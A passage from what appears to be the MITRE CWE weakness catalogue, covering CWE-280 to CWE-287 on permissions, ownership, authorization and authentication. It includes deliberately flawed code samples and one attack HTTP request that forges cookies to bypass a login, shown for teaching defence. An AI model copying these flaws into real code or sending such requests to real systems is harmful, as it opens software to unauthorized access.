#### Languages

- All

### Common Consequences

#### Other

#### Other

#### Alter execution logic

### Observed Examples

Reference	Description
CVE-2003-0501	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.
CVE-2004-0148	FTP server places a user in the root directory when the user's permissions prevent access to his/her own home directory.

### Potential Mitigations

#### Architecture and Design

##### Separation of Privilege






Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation**

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		275	Permission Issues	<b>699</b>	488
ChildOf		703	Improper Check or Handling of Exceptional Conditions	<b>1000</b>	1102
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	<b>888</b>	1376
CanAlsoBe		274	Improper Handling of Insufficient Privileges	1000	487
PeerOf		636	Not Failing Securely ('Failing Open')	1000	983

**Relationship Notes**

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

**Research Gaps**

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

**Theoretical Notes**

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Fails poorly due to insufficient permissions
WASC	17	Improper Filesystem Permissions
Software Fault Patterns	SFP4	Unchecked Status Condition

**Maintenance Notes**

CWE-280 and CWE-274 are too similar.

## CWE-281: Improper Preservation of Permissions

Weakness ID: 281 (*Weakness Base*)

Status: Draft

**Description****Summary**

The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

## Common Consequences

**Confidentiality**  
**Integrity**  
**Read application data**  
**Modify application data**

## Observed Examples

Reference	Description
CVE-2001-0195	File is made world-readable when being cloned.
CVE-2001-1515	Automatic modification of permissions inherited from another file system.
CVE-2002-2323	Incorrect ACLs used when restoring backups from directories that use symbolic links.
CVE-2005-1920	Permissions on backup file are created with defaults, possibly less secure than original file.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

This is resultant from errors that prevent the permissions from being preserved.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		275	Permission Issues	<b>699</b>	488
ChildOf		732	Incorrect Permission Assignment for Critical Resource	<b>1000</b>	1121
ChildOf		946	SFP Secondary Cluster: Insecure Resource Permissions	<b>888</b>	1371

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permission preservation failure

# CWE-282: Improper Ownership Management

Weakness ID: 282 (Weakness Class)

Status: Draft

## Description

### Summary

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

## Time of Introduction

- Architecture and Design

## Applicable Platforms

### Languages

- All

## Common Consequences

**Access Control**  
**Gain privileges / assume identity**

## Observed Examples

Reference	Description
CVE-1999-1125	Program runs setuid root but relies on a configuration file owned by a non-root user.

## Potential Mitigations

### Architecture and Design

### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		264	Permissions, Privileges, and Access Controls	<b>699</b>	468
ChildOf		284	Improper Access Control	<b>1000</b>	499
ChildOf		632	Weaknesses that Affect Files or Directories	<b>631</b>	981
ChildOf		840	Business Logic Errors	699	1283
ChildOf		944	SFP Secondary Cluster: Access Management	<b>888</b>	1370

Nature	Type	ID	Name	V	Page
ParentOf	B	283	Unverified Ownership	699 1000	498
ParentOf	B	708	Incorrect Ownership Assignment	699 1000	1108

### Affected Resources

- File/Directory

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Ownership errors

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Non-Executable Files	

### Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

## CWE-283: Unverified Ownership

Weakness ID: 283 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not properly verify that a critical resource is owned by the proper entity.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

An attacker could gain unauthorized access to system resources

### Demonstrative Examples

This function is part of a privileged program that takes input from users with potentially lower privileges.

#### Python Example:

*Bad Code*

```
def killProcess(processID):
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

#### Python Example:

*Good Code*

```
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

### Observed Examples

Reference	Description
CVE-2001-0178	Program does not verify the owner of a UNIX socket that is used for sending a password.
CVE-2004-2012	Owner of special device not checked, allowing root.

### Potential Mitigations

#### Architecture and Design

##### Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Architecture and Design

##### Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Relationships

Nature	Type	ID	Name		Page
CanAlsoBe		264	Permissions, Privileges, and Access Controls	1000	468
ChildOf		282	Improper Ownership Management	<b>699</b> <b>1000</b>	497
CanAlsoBe		345	Insufficient Verification of Data Authenticity	1000	600
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116
ChildOf		944	SFP Secondary Cluster: Access Management	<b>888</b>	1370
MemberOf		<i>884</i>	<i>CWE Cross-section</i>	<b>884</b>	<i>1319</i>

### Relationship Notes

This overlaps insufficient comparison, verification errors, permissions, and privileges.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unverified Ownership

## CWE-284: Improper Access Control

Weakness ID: 284 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

#### Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

**Specification:** incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

**Enforcement:** the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

### Alternate Terms

**Authorization**

The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Common Consequences**

**Other**

**Varies by context**

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	264	Permissions, Privileges, and Access Controls	699	468
ChildOf	C	632	Weaknesses that Affect Files or Directories	631	981
ChildOf	C	664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf	C	693	Protection Mechanism Failure	1000	1074
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1116
ChildOf	C	944	SFP Secondary Cluster: Access Management	888	1370
ParentOf	B	269	<i>Improper Privilege Management</i>	699	477
				1000	
ParentOf	C	282	<i>Improper Ownership Management</i>	1000	497
ParentOf	C	285	<i>Improper Authorization</i>	699	501
				1000	
ParentOf	C	286	<i>Incorrect User Management</i>	699	507
				1000	
ParentOf	C	287	<i>Improper Authentication</i>	699	507
				1000	
ParentOf	B	346	<i>Origin Validation Error</i>	699	602
				1000	
ParentOf	V	782	<i>Exposed IOCTL with Insufficient Access Control</i>	699	1198
ParentOf	C	923	<i>Improper Restriction of Communication Channel to Intended Endpoints</i>	699	1349
				1000	
ParentOf	V	942	<i>Overly Permissive Cross-domain Whitelist</i>	699	1367
				1000	

**Affected Resources**

- File/Directory

**Taxonomy Mappings**



Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Access Control List (ACL) errors
WASC	2	Insufficient Authorization

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
19	Embedding Scripts within Scripts	
474	Signature Spoofing by Key Theft	

#### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

#### Maintenance Notes

This item needs more work. Possible sub-categories include:

- \* Trusted group includes undesired entities (partially covered by CWE-286)
- \* Group can perform undesired actions
- \* ACL parse error does not fail closed

## CWE-285: Improper Authorization

Weakness ID: 285 (*Weakness Class*)

Status: Draft

#### Description

##### Summary

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

##### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

#### Alternate Terms

##### AuthZ

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

##### Technology Classes

- Web-Server (*Often*)
- Database-Server (*Often*)

#### Modes of Introduction

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

### Common Consequences

#### Confidentiality

##### Read application data

##### Read files or directories

An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

#### Integrity

##### Modify application data

##### Modify files or directories

An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

#### Access Control

##### Gain privileges / assume identity

An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

### Likelihood of Exploit

High

### Detection Methods

#### Automated Static Analysis

##### Limited

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

#### Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

#### Manual Analysis

##### Moderate

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

## Dynamic Analysis with automated results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

## Dynamic Analysis with manual results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer
- Forced Path Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

## Manual Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

## Automated Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Context-configured Source Code Weakness Analyzer

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

## Demonstrative Examples

### Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

#### PHP Example:

*Bad Code*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare("SELECT * FROM employees WHERE name = :name");
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
//.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

### Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

**Perl Example:**

*Bad Code*

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

**Observed Examples**

Reference	Description
CVE-2001-1155	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
CVE-2005-2801	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
CVE-2005-3623	OS kernel does not check for a certain privilege before setting ACLs for files.
CVE-2006-6679	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
CVE-2007-2925	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.
CVE-2008-3424	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
CVE-2008-4577	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
CVE-2008-5027	System monitoring software allows users to bypass authorization by creating custom forms.
CVE-2008-6123	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
CVE-2008-6548	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.
CVE-2008-7109	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
CVE-2009-0034	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
CVE-2009-2213	Gateway uses default "Allow" configuration for its authorization settings.
CVE-2009-2282	Terminal server does not check authorization for guest access.
CVE-2009-2960	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.
CVE-2009-3168	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.

Reference	Description
CVE-2009-3230	Database server does not use appropriate privileges for certain sensitive operations.
CVE-2009-3597	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.
CVE-2009-3781	Content management system does not check access permissions for private files, allowing others to view those files.

## Potential Mitigations

### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.285.5] and the OWASP ESAPI Access Control feature [R.285.4].

### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### System Configuration

#### Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

## Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	<b>700</b>	452
ChildOf		284	Improper Access Control	<b>699</b> <b>1000</b>	499
ChildOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	<b>629</b>	1115
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	<b>711</b>	1116

Nature	Type	ID	Name	V	Page
ChildOf	C	753	2009 Top 25 - Porous Defenses	750	1143
ChildOf	C	803	2010 Top 25 - Porous Defenses	800	1229
ChildOf	C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access	809	1248
ChildOf	C	840	Business Logic Errors	699	1283
ChildOf	C	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control	928	1360
ChildOf	C	945	SFP Secondary Cluster: Insecure Resource Access	888	1371
ParentOf	V	219	<i>Sensitive Data Under Web Root</i>	1000	412
ParentOf	G	732	<i>Incorrect Permission Assignment for Critical Resource</i>	1000	1121
ParentOf	G	862	<i>Missing Authorization</i>	699	1299
ParentOf	G	863	<i>Incorrect Authorization</i>	1000	1304
ParentOf	V	926	<i>Improper Export of Android Application Components</i>	699	1352
ParentOf	V	927	<i>Use of Implicit Intent for Sensitive Communication</i>	1000	1354

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
Software Fault Patterns	SFP35		Insecure resource access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
13	Subverting Environment Variable Values	
17	Accessing, Modifying or Executing Executable Files	
39	Manipulating Opaque Client-based Data Tokens	
45	Buffer Overflow via Symbolic Links	
51	Poison Web Service Registry	
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	
76	Manipulating Input to File System Calls	
77	Manipulating User-Controlled Variables	
87	Forceful Browsing	
104	Cross Zone Scripting	
127	Directory Indexing	

### References

- NIST. "Role Based Access Control and Role Based Security". < <http://csrc.nist.gov/groups/SNS/rbac/> >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft. 2002.
- Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. < <http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/> >.
- [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- [REF-23] Rahul Bhattacharjee. "Authentication using JAAS". < <http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html> >.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39.. 1st Edition. Addison Wesley. 2006.



[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "ACL Inheritance", Page 649.. 1st Edition. Addison Wesley. 2006.

## CWE-286: Incorrect User Management

**Weakness ID:** 286 (*Weakness Class*) **Status:** Incomplete

### Description

#### Summary

The software does not properly manage a user within its environment.

#### Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages





- Language-independent

#### Common Consequences

##### Other

##### Varies by context

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		284	Improper Access Control	<input checked="" type="checkbox"/>	699 1000 499
ChildOf		944	SFP Secondary Cluster: Access Management		888 1370
CanAlsoBe		266	<i>Incorrect Privilege Assignment</i>		1000 471
ParentOf		842	<i>Placement of User into Incorrect Group</i>		699 1286 1000

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	User management errors

#### Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

## CWE-287: Improper Authentication

**Weakness ID:** 287 (*Weakness Class*) **Status:** Draft

### Description

#### Summary

When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

#### Alternate Terms

##### authentication

An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.



**AuthC**

"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Integrity****Confidentiality****Availability****Access Control****Read application data****Gain privileges / assume identity****Execute unauthorized code or commands**

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

**Likelihood of Exploit**

Medium to High

**Detection Methods****Automated Static Analysis****Limited**

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

**Manual Static Analysis****High**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

## Dynamic Analysis with automated results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

## Dynamic Analysis with manual results interpretation

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer

## Manual Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Manual Source Code Review (not inspections)

## Automated Static Analysis - Source Code

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

## Automated Static Analysis

### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Configuration Checker

## Architecture / Design Review

### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

## Demonstrative Examples

### Example 1:

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

### Perl Example:

*Bad Code*

```
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    }
}
else {
    # Set loggedin and user cookies.
    $q->cookie(
        -name => 'loggedin',
        -value => 'true'
    );
}
```

```

$q->cookie(
  -name => 'user',
  -value => $q->param('username')
);
}
}
if ($q->cookie('user') eq "Administrator") {
  DoAdministratorTasks();
}

```

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

Attack

```

GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]

```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

### Example 2:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

### References

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. < <http://www.wired.com/threatlevel/2009/01/professed-twitt/> >.

### Observed Examples

Reference	Description
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
CVE-2009-1596	product does not properly implement a security-related configuration setting, allowing authentication bypass.
CVE-2009-2168	chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
CVE-2009-2213	product uses default "Allow" action, instead of default deny, leading to authentication bypass.
CVE-2009-2382	admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
CVE-2009-2422	authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
CVE-2009-3107	product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
CVE-2009-3231	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
CVE-2009-3232	authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
CVE-2009-3421	login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.

### Potential Mitigations

## Architecture and Design Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	699	452
ChildOf		284	Improper Access Control	<b>699</b>	499
				<b>1000</b>	
ChildOf		718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	<b>629</b>	1114
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	<b>809</b>	1246
